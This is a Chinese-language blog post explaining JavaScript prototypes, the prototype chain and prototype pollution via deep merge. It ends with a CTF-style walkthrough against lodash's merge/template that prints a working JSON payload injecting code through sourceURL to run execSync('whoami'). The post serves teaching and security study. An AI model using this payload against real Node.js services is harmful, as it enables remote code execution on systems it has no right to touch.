前言:js 和 ActionScript3 有些像。定义类都是以构造函数的方式来定义的。
prototype 和 proto 的定义。
1 | function test() { |
当然 ECS6 增加了 class
语法(其实只是一个语法糖罢了,跟 python 的列表推导式性质一样)
1 | class Test { |
但是这样其实有个问题,每当我们新建一个 Test 对象时,this.log = function就会调用一次
, 其实意味着,每当我们创建一个新的 Test 实例时,都会创建一个新的 log 函数,这样多个实例每个都有自己的 log 函数副本,这样不仅会导致 内存滥用
,还不易于 维护管理
。这个时候就要使用(prototype)了。
1 | class Test { |
prototype
原型对象:每个 JavaScript 函数都有一个 prototype 属性,指向一个对象,这个对象称为原型对象。当你使用 new 关键字从构造函数创建对象时,这些对象会从构造函数的原型对象继承属性和方法。
其实很好理解,其实就是一个类里面的其他方法 (因为这个类先初始化了,所以其他方法可以访问初始化定义的属性(变量)或方法(函数)。)
1 | class Hip_hop { |
现在有一个问题,我们能通过 prototype 来访问原型,但是无法继承由原型已经实例化的对象,所以要用到 proto 方法
一个 Foo 类实例化出来的 foo 对象,可以通过 foo.proto 属性来访问 Foo 类 的原型
1 | foo.__proto__ = Foo.prototype => 对象.proto=构造器(构造函数).prototype |
- prototypie 是一个类的属性,所有类对象在实例化的时候将会拥有 prototype 中的属性和方法
- proto 是每一个类所有的方法,指向这个对象所在类的 prototype 属性。
- 小知识:类是定义,对象是实体,实例化是创建实体的过程。类提供了创建对象的详细蓝图,对象是这些蓝图的具体实现,实例化则是将类从理论转化为实际的机制。
javascript 的原型链继承
以一个简单的例子来看:
1 | function Kanye_West() { |
对于对象 Ye_West,在调用 Ye_West.album 的时候,实际上 JavaScript 引擎会进行如下操作:
- 在对象 Ye_West 中寻找 album
- 如果找不到,则在 Ye_West.proto 中寻找 album
- 如果仍然找不到,则继续在 Ye_West._proto_.proto 中寻找 album
- 依次寻找,直到找到 null 结束。比如,
Object.prototype的__proto__就是null
原型链污染
这里一样的还是来一个例子。一个没有父类的类 test 的 test.__proto_ 是 Object, 即 test 是一个 Object 类的实例_
适用原型链污染的情况
- merge() 深度合并
- clone() 其实就是将待操作的对象 merge 到一个空对象中
1 | function merge(target,source) { |
其实就是找能够控制数组(对象)的“键名”的操作来使用 __proto__
__核心操作__:target [key] = source [key],如果我们把 source 里面的一个键值对的键换成‘__proto__’
来个例子:
合并成功但是污染失败:
原因:首先要明确的一点是:我们要的效果是 a.__proto__.b = 2, 这样才能污染到 Object 层。
看图,很清晰的能明白,如果使用:let o2 = {a: 2,”__proto__”:{b: 1}}, 则效果是:o2[__proto__] = {b: 1},意思是 o2 的原型就是{b: 1}而不是 Object 了。
那就很简单了,JSON 解析的情况下,proto 会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历 o2 的时候会存在这个键。
例题:thejs 来看:
源码: https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165
1 | // ... |
lodash 的 merge 有漏洞,根据以下构造 payload (记得把x-www-form-urlencoded
改成json
)
1 | // Use a sourceURL for easier debugging. |
Function 其实有点像 eval
{“__proto___”: {“ sourceURL “: “\u000areturn ()=>{for (var a in {}) {delete Object.prototype[a];}return global.process.mainModule.constructor._load(‘child_process’).execSync(‘whoami’)}\u000a//“}}
\u000a
: 换行符,可以让代码另起一行重新开始运行。for (var a in {}) {delete Object.prototype[a];}
: 环境不隔离的情况删掉属性,现在单独靶机的情况没什么用了。\u000a//
: 为了把这个格式注释掉,只留下我们的 payloadsourceURL + 'return ' + source
1 | {"__proto__": {"sourceURL": "\u000areturn ()=>{for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\u000a//"}} |
最后的最后
express 框架能够通过 Content-Type 来解析请求 Body
ps:express+ejs 相当于 flask + jinja2 , 洞一大堆。
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
About this Post
This post is written by void2eye, licensed under CC BY-NC 4.0.